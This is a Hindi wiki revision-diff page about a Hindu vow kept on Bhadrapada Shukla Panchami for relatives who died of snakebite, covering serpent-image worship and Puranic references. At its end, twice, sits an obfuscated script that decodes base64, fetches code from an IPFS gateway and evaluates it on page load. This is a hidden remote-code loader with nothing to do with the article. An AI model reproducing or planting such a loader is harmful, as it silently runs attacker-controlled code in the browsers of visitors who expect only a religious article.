व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
No edit summary |
||
पंक्ति 4: | पंक्ति 4: | ||
*स्वर्ण, रजत, काष्ठ या मिट्टी से निर्मित पाँच फणों वाले सर्प की मूर्ति की धूप, पुष्प, गंध आदि से पूजा की जाती है। | *स्वर्ण, रजत, काष्ठ या मिट्टी से निर्मित पाँच फणों वाले सर्प की मूर्ति की धूप, पुष्प, गंध आदि से पूजा की जाती है। | ||
*प्रत्येक मास में द्वादशी में से एक नाम लिया जाता है। | *प्रत्येक मास में द्वादशी में से एक नाम लिया जाता है। | ||
*सर्पदंश से मृत व्यक्ति पाताल लोकों से मुक्त होता है और स्वर्गारोहण करता है।<ref>कृत्यकल्पतरु (व्रतखण्ड 90-93); हेमाद्रि (व्रत्खण्ड 1, 560-562); कृत्यरत्नाकर (273-275</ref> | *सर्पदंश से मृत व्यक्ति [[पाताल लोक|पाताल लोकों]] से मुक्त होता है और स्वर्गारोहण करता है।<ref>कृत्यकल्पतरु (व्रतखण्ड 90-93); हेमाद्रि (व्रत्खण्ड 1, 560-562); कृत्यरत्नाकर (273-275</ref> | ||
*[[गरुड़ पुराण]] में 12 सांपों के नाम दिये गए है।<ref>गरुड़पुराण अध्याय-7, (1|129</ref> | *[[गरुड़ पुराण]] में 12 सांपों के नाम दिये गए है।<ref>गरुड़पुराण अध्याय-7, (1|129</ref> | ||
{{प्रचार}} | {{प्रचार}} |
12:25, 24 फ़रवरी 2012 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- भाद्रपद शुक्ल पक्ष की पंचमी को यह व्रत होता है।
- सर्पदंश से मृत किसी सम्बन्धी (यथा–पुत्र, भाई, पुत्री) के लिए किया जाता है।
- स्वर्ण, रजत, काष्ठ या मिट्टी से निर्मित पाँच फणों वाले सर्प की मूर्ति की धूप, पुष्प, गंध आदि से पूजा की जाती है।
- प्रत्येक मास में द्वादशी में से एक नाम लिया जाता है।
- सर्पदंश से मृत व्यक्ति पाताल लोकों से मुक्त होता है और स्वर्गारोहण करता है।[1]
- गरुड़ पुराण में 12 सांपों के नाम दिये गए है।[2]
टीका टिप्पणी और संदर्भ
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>